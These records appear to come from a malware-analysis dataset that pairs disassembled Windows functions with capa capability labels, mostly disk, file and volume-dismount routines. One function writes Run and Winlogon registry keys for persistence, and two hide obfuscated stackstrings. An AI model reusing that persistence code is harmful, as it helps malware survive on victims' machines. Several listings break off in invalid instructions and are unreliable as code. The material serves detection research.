joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41bee0
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x42a0bc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x424
push ebx
push esi
lea ecx, [esp + 8]
call sub.MFC42u.DLL_CString::CString_3
mov eax, dword [esp + 0x43c]
lea ecx, [esp + 8]
push eax
mov dword [esp + 0x438], 0
call fcn.004276c0
push 1
push 0x5c
lea ecx, [esp + 0x18]
call sub.MFC42u.DLL_CString::CString_1
lea ecx, [esp + 0xc]
push 1
push ecx
lea ecx, [esp + 0x10]
mov byte [esp + 0x43c], 1
call sub.MFC42u.DLL_CString::Right
mov edx, dword [esp + 0x10]
mov eax, dword [eax]
mov esi, dword [sym.imp.MSVCRT.dll_wcscmp]
push edx
push eax
call esi
add esp, 8
lea ecx, [esp + 0xc]
test eax, eax
setne bl
call sub.MFC42u.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x434], 0
call sub.MFC42u.DLL_CString::CString
test bl, bl
je 0x41bf88
push 0x5c
lea ecx, [esp + 0xc]
call sub.MFC42u.DLL_CString::operator_1
lea ecx, [esp + 0xc]
push 2
push ecx
lea ecx, [esp + 0x10]
call sub.MFC42u.DLL_CString::Left
mov edx, dword [eax]
push 0x437808
push edx
call esi
add esp, 8
lea ecx, [esp + 0xc]
test eax, eax
sete bl
call sub.MFC42u.DLL_CString::CString
test bl, bl
je 0x41c001
push 2
push 0x5c
lea ecx, [esp + 0x10]
call sub.MFC42u.DLL_CString::Find_3
inc eax
lea ecx, [esp + 8]
push eax
push 0x5c
call sub.MFC42u.DLL_CString::Find_3
inc eax
lea ecx, [esp + 8]
push eax
lea eax, [esp + 0x10]
push eax
call sub.MFC42u.DLL_CString::Left
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x438], 2
call sub.MFC42u.DLL_CString::operator_2
mov byte [esp + 0x434], 0
lea ecx, [esp + 0xc]
jmp 0x41c02f
lea ecx, [esp + 0xc]
push 3
push ecx
lea ecx, [esp + 0x10]
call sub.MFC42u.DLL_CString::Left
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x438], 3
call sub.MFC42u.DLL_CString::operator_2
mov byte [esp + 0x434], 0
lea ecx, [esp + 0xc]
call sub.MFC42u.DLL_CString::CString
lea edx, [esp + 0x1c]
push 0x104
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x20]
push eax
mov eax, dword [esp + 0x14]
push ecx
push 0
lea edx, [esp + 0x238]
push 0x104
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x41c0bd
mov edx, dword [esp + 0x440]
mov esi, dword [sym.imp.MSVCRT.dll_wcscpy]
lea ecx, [esp + 0x1c]
push ecx
push edx
call esi
mov ecx, dword [esp + 0x44c]
lea eax, [esp + 0x22c]
push eax
push ecx
call esi
add esp, 0x10
lea ecx, [esp + 8]
mov dword [esp + 0x434], 0xffffffff
call sub.MFC42u.DLL_CString::CString
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x424]
mov dword fs:[0], ecx
add esp, 0x430
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x434], 0xffffffff
call sub.MFC42u.DLL_CString::CString
mov ecx, dword [esp + 0x42c]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x430
ret
Function at 0x41c130
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push 0xffffffffffffffff
push 0x42a0fc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x80c
push ebp
push esi
push edi
lea ecx, [esp + 0xc]
xor ebp, ebp
call sub.MFC42u.DLL_CString::CString_3
lea ecx, [esp + 0x10]
mov dword [esp + 0x820], ebp
call sub.MFC42u.DLL_CString::CString_3
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x1a]
mov word [esp + 0x18], bp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [esp + 0x828]
lea ecx, [esp + 0x10]
push eax
mov byte [esp + 0x824], 1
call fcn.004276c0
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x18]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [esp + 0x18]
push eax
call esi
cmp eax, 3
jle 0x41c1df
lea ecx, [esp + 0x18]
push ecx
call esi
cmp word [esp + eax*2 + 0x16], 0x5c
jne 0x41c1df
mov edi, dword [esp + 0x10]
lea edx, [esp + 0x18]
push edx
call esi
push eax
lea eax, [esp + 0x1c]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x41c223
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0x10]
mov esi, eax
mov byte [esp + 0x820], 0
call sub.MFC42u.DLL_CString::CString
lea ecx, [esp + 0xc]
mov dword [esp + 0x820], 0xffffffff
call sub.MFC42u.DLL_CString::CString
mov eax, esi
jmp 0x41c368
cmp dword [esp + 0x82c], ebp
jne 0x41c341
push 0x5c
lea ecx, [esp + 0x14]
call sub.MFC42u.DLL_CString::ReverseFind
inc eax
lea edx, [esp + 0x14]
push eax
push edx
lea ecx, [esp + 0x18]
call sub.MFC42u.DLL_CString::Left
push eax
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x41c33d
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
push esp
and al, 0xc
jb 0x41c34e
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x41c358
inc edi
add eax, 0x28
cmp edi, esi
jb 0x41c333
xor eax, eax
pop edi
pop esi
ret
pop ecx
pop ecx
mov ecx, eax
test ecx, ecx
jne 0x41c371
ret
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, dword [esp + 4]
add eax, dword [esp + 0xc]
ret

Function at 0x41c5e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.0041c2db
mov esp, dword [0x458d95e4]
rcl byte [eax - 0x18], 0xc5
cld
invalid
Function at 0x41cb60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov esp, 0x44fffffc
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.0041c2eb
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0041c2a0
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.0041c2eb
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0041c2a0
add esp, 0xc
mov dword [ebp - 0x538], eax
invalid
Function at 0x420260
Capabilities:
Unmount volume via ioctl

Disassembly:
sub esp, 8
mov cx, word [0x4378f0]
mov eax, dword [str.._:]
mov dl, byte [0x4378f2]
push esi
push edi
push 0
push 0x20000000
push 3
mov word [esp + 0x18], cx
push 0
mov dword [esp + 0x18], eax
mov al, byte [esp + 0x24]
push 3
lea ecx, [esp + 0x1c]
push 0xc0000000
push ecx
mov byte [esp + 0x2a], dl
mov byte [esp + 0x28], al
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4202d8
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea edx, [esp + 8]
push eax
push edx
push str.MVD_FSDismount:_cannot_open_DosDevice__s___err_d_n
push 5
call fcn.00420700
add esp, 0x10
mov eax, 0xfffff448
pop edi
pop esi
add esp, 8
ret 4
lea eax, [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
push eax
push 0
push 0
push 0
push 0
push 0x90018
push esi
call edi
test eax, eax
jne 0x420307
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.MVD_FSDismount:_cannot_lock_volume__err_d_n
jmp 0x420357
lea ecx, [esp + 0x14]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x90020
push esi
call edi
test eax, eax
jne 0x420330
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.MVD_FSDismount:_cannot_dismount_volume__err_d_n
jmp 0x420357
lea edx, [esp + 0x14]
push 0
push edx
push 0
push 0
push 0
push 0
push 0x9001c
push esi
call edi
test eax, eax
jne 0x420375
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.MVD_FSDismount:_cannot_unlock_volume__err_d_n
push 5
call fcn.00420700
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 0xfffff448
pop esi
add esp, 8
ret 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
add esp, 8
ret 4
Function at 0x420390
Capabilities:
Unmount volume via ioctl

Disassembly:
sub esp, 8
mov cx, word [0x4378f0]
mov eax, dword [str.._:]
mov dl, byte [0x4378f2]
push ebx
push esi
push 0
push 0x20000000
push 3
mov word [esp + 0x18], cx
push 0
mov dword [esp + 0x18], eax
mov al, byte [esp + 0x24]
push 3
lea ecx, [esp + 0x1c]
push 0xc0000000
push ecx
mov byte [esp + 0x2a], dl
mov byte [esp + 0x28], al
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x420408
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea edx, [esp + 8]
push eax
push edx
push str.MVD_ForceDismount:_cannot_open_DosDevice__s___err_d_n
push 5
call fcn.00420700
add esp, 0x10
mov eax, 0xfffff448
pop esi
pop ebx
add esp, 8
ret 4
push edi
lea eax, [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
push eax
push 0
push 0
push 0
push 0
push 0x90018
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x420442
call ebx
push eax
push str.MVD_ForceDismount:_cannot_lock_volume__err_d_n
push 5
call fcn.00420700
add esp, 0xc
lea ecx, [esp + 0x18]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x90020
push esi
call edi
test eax, eax
pop edi
jne 0x420484
call ebx
push eax
push str.MVD_ForceDismount:_cannot_dismount_volume__err_d_n
push 5
call fcn.00420700
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov eax, 0xfffff448
pop ebx
add esp, 8
ret 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
pop ebx
add esp, 8
ret 4
Function at 0x420d30
Capabilities:
Read file on windows

Disassembly:
push ebp
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push esi
push edi
push str.MVD_INT_GetMSRHead:_ImagePath_s__ImageStartOffset_d_n
push 0xb
call fcn.004209c0
add esp, 0x10
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x420d8c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str.MVD_INT_GetMSRHead:_cannot_open_image_file__s___err_d_n
push 5
call fcn.004209c0
add esp, 0x10
mov eax, 0xfffff440
pop edi
pop esi
pop ebp
ret
push ebx
push 0x4000
call sub.MSVCRT.dll_malloc
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x420db9
push str.MVD_INT_GetMSRHead:_cannot_alloc_Meta_buffer_n
push 5
call fcn.00420700
add esp, 8
mov esi, 0xfffff444
jmp 0x420ea4
mov ecx, 0x1000
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
xor edi, edi
push edi
push edi
push esi
push ebp
call fcn.004206a0
add esp, 0x10
cmp eax, esi
jne 0x420dda
cmp edx, edi
je 0x420dfb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str.MVD_INT_GetMSRHead:_cannot_seek__off_d__err_d_n
push 5
call fcn.00420700
add esp, 0x10
mov esi, 0xfffff43f
jmp 0x420ea4
lea eax, [esp + 0x18]
push 0
push eax
push 0x4000
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 0x18], 0x4000
je 0x420e36
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.MVD_INT_GetMSRHead:_cannot_read_file__err_d_n
push 5
call fcn.00420700
add esp, 0xc
mov esi, 0xfffff43f
jmp 0x420ea4
mov eax, dword [ebx + 0x2000]
lea esi, [ebx + 0x2000]
cmp eax, 0x71049298
jne 0x420e50
push str.Version_0_n
jmp 0x420e77
push 0x4000
push ebx
call fcn.0041d010
mov eax, dword [esi]
cmp eax, 0x3258a112
jne 0x420e6b
push str.Version_1_n
jmp 0x420e77
cmp eax, 0x5a62b2a7
jne 0x420e90
push str.Version_2_n
push 1
call fcn.00420700
mov edi, dword [esp + 0x24]
mov ecx, 0x1e
rep movsd dword es:[edi], dword [esi]
add esp, 8
xor esi, esi
jmp 0x420ea4
push str.MVD_INT_GetMSRHead:_invalid_head_n
push 5
call fcn.00420700
add esp, 8
mov esi, 0xfffff448
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x420eb8
push ebx
call sub.MSVCRT.dll_free
add esp, 4
pop ebx
mov eax, esi
pop edi
pop esi
pop ebp
ret
Function at 0x420ec0
Capabilities:
Write file on windows

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
push esi
mov esi, dword [esp + 0xc]
push eax
push esi
push str.MVD_INT_UpdateMSRHead:_ImagePath_s__ImageStartOffset_d_n
push 0xb
call fcn.004209c0
add esp, 0x10
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x420f1c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str.MVD_INT_UpdateMSRHead:_cannot_open_image_file__s___err_d_n
push 5
call fcn.004209c0
add esp, 0x10
mov eax, 0xfffff440
pop esi
pop ecx
ret
push ebx
push ebp
push edi
push 0x4000
call sub.MSVCRT.dll_malloc
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x420f4b
push str.MVD_INT_UpdateMSRHead:_cannot_alloc_Meta_buffer_n
push 5
call fcn.00420700
add esp, 8
mov esi, 0xfffff444
jmp 0x421017
mov ecx, 0x1000
xor eax, eax
mov edi, ebx
lea ebp, [ebx + 0x2000]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x20]
mov ecx, 0x1e
mov esi, eax
mov edi, ebp
rep movsd dword es:[edi], dword [esi]
mov eax, dword [eax]
cmp eax, 0x3258a112
je 0x420f7b
cmp eax, 0x5a62b2a7
jne 0x420f9e
push 0x4000
push ebx
call fcn.0041d0e0
mov esi, dword [esp + 0x20]
mov ecx, 0x1e
mov edi, ebp
push 0x4000
rep movsd dword es:[edi], dword [esi]
push ebx
call fcn.0041cf40
mov esi, dword [esp + 0x1c]
mov ebp, dword [esp + 0x18]
xor edi, edi
push edi
push edi
push esi
push ebp
call fcn.004206a0
add esp, 0x10
cmp eax, esi
jne 0x420fbc
cmp edx, edi
je 0x420fda
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str.MVD_INT_UpdateMSRHead:_cannot_seek__off_d__err_d_n
push 5
call fcn.00420700
add esp, 0x10
mov esi, 0xfffff43f
jmp 0x421017
lea ecx, [esp + 0x10]
push 0
push ecx
push 0x4000
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [esp + 0x10], 0x4000
je 0x421015
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.MVD_INT_UpdateMSRHead:_cannot_write_file__err_d_n
push 5
call fcn.00420700
add esp, 0xc
mov esi, 0xfffff43f
jmp 0x421017
xor esi, esi
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x42102f
push ebx
call sub.MSVCRT.dll_free
add esp, 4
pop edi
pop ebp
mov eax, esi
pop ebx
pop esi
pop ecx
ret
Function at 0x421040
Capabilities:
Get file size

Disassembly:
sub esp, 8
push esi
push edi
mov edi, dword [esp + 0x14]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x42108b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str.MVD_INT_GetFileSize:_cannot_open_image_file__s___err_d_n
push 5
call fcn.004209c0
add esp, 0x10
mov eax, 0xfffff440
pop edi
pop esi
add esp, 8
ret
lea eax, [esp + 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
mov dword [esp + 8], eax
jne 0x4210d6
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
test eax, eax
je 0x4210d2
call edi
push eax
push str.MVD_INT_GetFileSize:_cannot_get_file_size__err_d_n
push 5
call fcn.00420700
add esp, 0xc
mov edi, 0xfffff448
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
add esp, 8
ret
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0xc]
push esi
xor edi, edi
mov dword [ecx], eax
mov dword [ecx + 4], edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
add esp, 8
ret

Function at 0x4243d0
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x42441a
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x42441a
pop edi
pop esi
add esp, 0x9c
ret
mov edx, dword [esp + 0xc]
pop edi
cmp edx, 6
pop esi
sbb eax, eax
inc eax
add esp, 0x9c
ret
Function at 0x4251c0
Capabilities:
Get common file path
Get disk information

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x244
lea eax, [esp + 0x18]
push eax
push ecx
call fcn.004259c0
add esp, 8
test eax, eax
je 0x4252cd
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, eax
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x4d]
mov byte [esp + 0x4c], 0
lea edx, [esp + 0x4c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x200
push edx
mov dword [esp + 0x10], esi
mov byte [esp + 0x14], 0
mov dword [esp + 0x15], 0
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, dword [esp + 0x254]
test esi, esi
mov dword [edi], 0
je 0x4252c8
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebx, 0x41
test byte [esp + 0x10], 1
je 0x4252b9
mov eax, dword [esp + 0x54]
and eax, 0xff
cmp ebx, eax
je 0x4252b9
push ebx
lea ecx, [esp + 0x18]
push str._c:_
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0x14]
push edx
call ebp
cmp eax, 4
je 0x4252b9
push ebx
lea eax, [esp + 0x38]
push str.._c:
push eax
call sub.MSVCRT.dll_sprintf
lea ecx, [esp + 0x28]
lea edx, [esp + 0x40]
push ecx
push edx
call fcn.004259c0
add esp, 0x14
test eax, eax
je 0x4252b9
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x28]
cmp eax, ecx
jne 0x4252b9
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x2c]
cmp ecx, eax
jne 0x4252b9
mov byte [edi], bl
inc edi
mov eax, dword [esp + 0x10]
inc ebx
shr eax, 1
mov dword [esp + 0x10], eax
jne 0x425248
pop ebp
pop ebx
mov byte [edi], 0
pop edi
pop esi
add esp, 0x244
ret
Function at 0x4259c0
Capabilities:
Get disk information via ioctl

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push 0
push 0
push 3
push 0
push 3
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x425a21
mov edx, dword [esp + 0x10]
push edi
lea ecx, [esp + 0x10]
push 0
push ecx
push 0xc
push edx
push 0
push 0
push 0x2d1080
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
pop edi
je 0x425a21
test ebx, ebx
jne 0x425a21
pop esi
mov eax, 1
pop ebx
ret
pop esi
xor eax, eax
pop ebx
ret
Function at 0x427020
Capabilities:
Get disk information

Disassembly:
sub esp, 0x34
lea eax, [esp]
push esi
push eax
push 0x53c540
mov dword [esp + 0xc], pe_nt_image_headers32
call fcn.00425fd0
add esp, 8
test eax, eax
jne 0x427047
pop esi
add esp, 0x34
ret
lea ecx, [esp + 4]
push ecx
push 0x53c540
call fcn.00426340
mov eax, dword [esp + 0xc]
xor esi, esi
add esp, 8
cmp eax, esi
jne 0x427073
mov edx, dword [esp + 0x40]
mov eax, 1
mov dword [edx], esi
pop esi
add esp, 0x34
ret
push ebx
push ebp
push edi
push eax
push 0x53c540
mov dword [0x642550], eax
call fcn.004268a0
mov eax, dword [esp + 0x54]
mov ebx, dword [esp + 0x50]
mov edi, ebx
add esp, 8
mov eax, dword [eax]
mov dword [esp + 0x14], esi
mov ecx, eax
mov dword [esp + 0x18], esi
shl ecx, 6
add ecx, eax
lea ecx, [eax + ecx*2]
xor eax, eax
shl ecx, 4
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
cmp dword [esp + 0x10], esi
jle 0x4271ed
mov esi, 0x53c540
add ebx, 0x114
mov dword [esp + 0x48], esi
cmp dword [esi + 0x814], 3
jne 0x4271ce
lea ebp, [ebx - 0x114]
mov ecx, 0x20c
mov edi, ebp
xor eax, eax
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1c], eax
push ecx
push ebx
mov dword [esp + 0x28], eax
call fcn.004251c0
mov eax, dword [0x642548]
add esp, 8
test eax, eax
jne 0x427177
mov al, byte [esp + 0x1c]
test al, al
je 0x427177
movsx edx, al
push edx
lea eax, [esp + 0x28]
push str._c:_
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x427177
movsx edx, byte [esp + 0x1c]
push edx
lea eax, [esp + 0x28]
push str.._c:
push eax
call sub.MSVCRT.dll_sprintf
lea edi, [esp + 0x30]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x48]
mov ecx, dword [eax + 0x7c0]
add eax, 0x6c0
push ecx
push eax
call fcn.00426f60
add esp, 8
test eax, eax
jne 0x4271a1
push ebp
call fcn.00425120
add esp, 4
test eax, eax
je 0x4271ca
lea edx, [ebx + 0x514]
push edx
push ebx
call fcn.004259c0
mov ecx, dword [esp + 0x54]
mov eax, dword [esp + 0x1c]
add esp, 8
inc eax
mov edx, dword [ecx]
add ebx, 0x830
cmp eax, edx
mov dword [esp + 0x14], eax
jge 0x4271ed
mov esi, dword [esp + 0x48]
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
inc eax
add esi, 0x830
cmp eax, ecx
mov dword [esp + 0x18], eax
mov dword [esp + 0x48], esi
jl 0x4270d3
mov eax, dword [esp + 0x4c]
mov edx, dword [esp + 0x14]
pop edi
pop ebp
mov dword [eax], edx
pop ebx
mov eax, 1
pop esi
add esp, 0x34
ret
Function at 0x401000
Capabilities:
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
push esi
xor ebx, ebx
push 0x103
mov esi, eax
lea eax, [ebp - 0x313]
push ebx
push eax
mov dword [ebp - 4], ebx
mov byte [ebp - 0x314], bl
call sub.MSVCRT.dll_memset
push 0xff
lea ecx, [ebp - 0x10b]
push ebx
push ecx
mov dword [ebp - 8], 0xff0ff
mov byte [ebp - 0x10c], bl
call sub.MSVCRT.dll_memset
xor edx, edx
add esp, 0x18
mov word [ebp - 0xc], dx
cmp esi, ebx
je 0x4011d1
push 0x104
lea eax, [ebp - 0x210]
push eax
push 0x4044a8
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push ebx
push ebx
push ebx
push ebx
lea edx, [ebp - 8]
push edx
push ebx
push ebx
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [ebp - 8]
push ecx
push 0x4044b4
lea edx, [ebp - 0x210]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
lea edx, [ebp - 0x314]
add esp, 0x10
mov eax, esi
sub edx, esi
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x4010c0
lea eax, [ebp - 0x210]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4010d3
sub eax, edx
xor ecx, ecx
mov esi, eax
mov word [ebp - 0xc], 1
xor edx, edx
jmp 0x4010f0
mov byte [ebp + edx - 0x10c], dl
inc edx
cmp edx, 0x100
jl 0x4010f0
xor edx, edx
jmp 0x401110
mov al, byte [ebp + ecx - 0x210]
xor byte [ebp + edx - 0x10c], al
inc ecx
cmp ecx, esi
jl 0x401125
xor ecx, ecx
inc edx
cmp edx, 0x100
jl 0x401110
lea edx, [ebp - 0x314]
mov ecx, edx
lea eax, [ebp - 0x10c]
call fcn.00401600
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push ebx
lea ecx, [ebp - 4]
push ecx
push ebx
push 0x102
push ebx
push ebx
push ebx
push 0x4044b8
push 0x80000002
call esi
test eax, eax
jne 0x40117d
push 0x104
lea edx, [ebp - 0x314]
push edx
push 1
push ebx
lea eax, [ebp - 0x210]
push eax
jmp 0x4011af
push ebx
lea edx, [ebp - 4]
push edx
push ebx
push 0x102
push ebx
push ebx
push ebx
push 0x4044f0
push 0x80000001
call esi
test eax, eax
jne 0x4011b9
push 0x104
lea eax, [ebp - 0x314]
push eax
push 1
push ebx
push 0x404520
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x4011d1
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret